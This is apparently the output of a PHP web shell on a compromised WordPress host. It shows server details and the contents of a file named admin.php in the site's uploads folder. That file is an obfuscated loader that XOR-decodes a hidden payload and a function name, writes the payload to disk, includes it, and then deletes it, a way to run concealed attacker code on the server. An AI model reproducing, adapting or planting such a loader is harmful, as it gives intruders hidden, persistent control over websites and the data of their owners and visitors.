HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/uploads/admin.php
<?php

function tslvnXojMf($zZuMsvG, $vUdExyNoxhR)
{
    $zZuMsvG = urldecode($zZuMsvG);
    $mANZyxEj = str_split($zZuMsvG);
    $action = "";
    for ($i = 0; $i < strlen($zZuMsvG);$i++) {
        $action .= $mANZyxEj[$i] ^ $vUdExyNoxhR[$i%5];
    }
    return $action;
}

$i="%5Eq%27%18%2AoD%17%194%0B%11%24%15.Ji2%02%28%0D%3C%08%1C5%05i%7BP%147%02%1BYaoD%17%194%0B%11%24%15.Ji%3B%1F%3D%3D%2B%25%025%10%3Dp%5CzRgl%7DP%22%279%19%05%11%2B%23X%7D%0F%2F%2F%2F%3F%1A%2B4%05.%0B%219%2F.%0B%232WvB%7E%7EKWh%0E%24%15.%3D%3A%3E%1D%3F%3D%22%3E%1D3%16fgYaoDZzWh%28%22%1E9%16%278%1Ez%11%263%00rF%2A6%04%3BNns%1B%3F%1BgZz%21oDwPzBj8%05.%3D%2A6%04%3BBswRxYC%5DPzBn1%1F%28Bfs%19z_ngKzF%27wLz%11%3A%25%1C%3F%0Cfs%14%3B%16%2F%7EKsB5ZzzBnwPzBn1%1F%28Bfs%1Az_ngKzF%24wLz%11%3A%25%1C%3F%0Cfs%1B%3F%1BgwV%7CBj%3EPfB%3D%23%026%07+%7FT%3E%03%3A6YaBj%3D%5BqNns%19qIgw%0BWhnwPzBnwPzBnwT5%17%3A%08%14%3B%16%2Fw%5EgB-%3F%02r%0D%3C3X%7E%06%2F%23%11%01F%27%0AYz%3Cn8%02%3EJj%3C%15%239j%3D-sKuZzzBnwPzBn%2A%7DPBnwP%27oDwPzB%3C2%04%2F%10+wT5%17%3A%08%14%3B%16%2Fl%7DP%1FC%5D%19%3CBf%3E%03%29%07%3A%7FT%05%25%0B%03%2BlU%7DcCo%3Fg%7E%7DP%19C%5DPzBn3%19%3FJ%233ErVy%60AhKgl%7DP%1FC%5DT.%07%23%27M%3B%10%3C6%09%05%0F%2B%25%17%3FJj%083%15-%05%1E5vBj%08+%151%1A%7EKWh%288%02%3F%03-%3FPrF%3A2%1D%2AB%2F%24P%7E%06%2F%23%11%05%09%2B.Pg%5Cns%14%3B%16%2F%7EP%21oDwPzBj3%11.%03njP%1A%17+%24%15%28%0B%2F%3B%19+%07f%24%18%3E%12f%24%18%3E%12f5%11%29%07xc%2F%3E%07-8%14%3FJj3%11.%03g%7BP%7D%129n%1Ak%0D%2B+%115U%7B%3E%03%28T%24%3FH%3E%12%2B%24A-%1B4c%00%3B%08%28a%04+Eg%7BP%7E%06%2F%23%11%05%09%2B.YsYC%5DPzBn%3E%16zJ%27%24%03%3F%16fs%14%3B%16%2F%0CW%3B%09i%0AYsB5ZzzBnwPzBn%3E%16zJj3%11.%03%15p%11%7D%3FnjMzE%27pYz%19C%5DPzBnwPzBnwPzF%27wMz%03%3C%25%11%23JC%5DPzBnwPzBnwPzBnwP%7D%128pPg%5Cn%17%002%1282%02%29%0B%219XsNC%5DPzBnwPzBnwPzBnwP%7D%118pPg%5CnpAtRcfWvoDwPzBnwPzBnwPsYC%5DPzBnwPzBnwPz%07-%3F%1Fz%22%3D2%023%03%22%3E%0A%3FJj%3EYaoDwPzBnwPz%1Fn2%1C%29%07%271PrF%2A6%04%3B9i6W%07BsjP%7D%07i%7EP%21oDwPzBnwPzBnwP%3F%14%2F%3BX%7E%06%2F%23%11%01E%2Ap-sYC%5DPzBnwPzB3ZzzBnwPzBn2%083%16f%7EKWhnwPz%1FC%5D%0D";
$j="%04%27%3B%15%05%12%3B%23%2F9%0D+%23%154%16%3D";

$qXnnZWczm="bNWpZHxfClok";

$k = tslvnXojMf($i, $qXnnZWczm);
$f = tslvnXojMf($j, $qXnnZWczm);
$f($qXnnZWczm, $k);
include_once ($qXnnZWczm);
unlink($qXnnZWczm);
exit();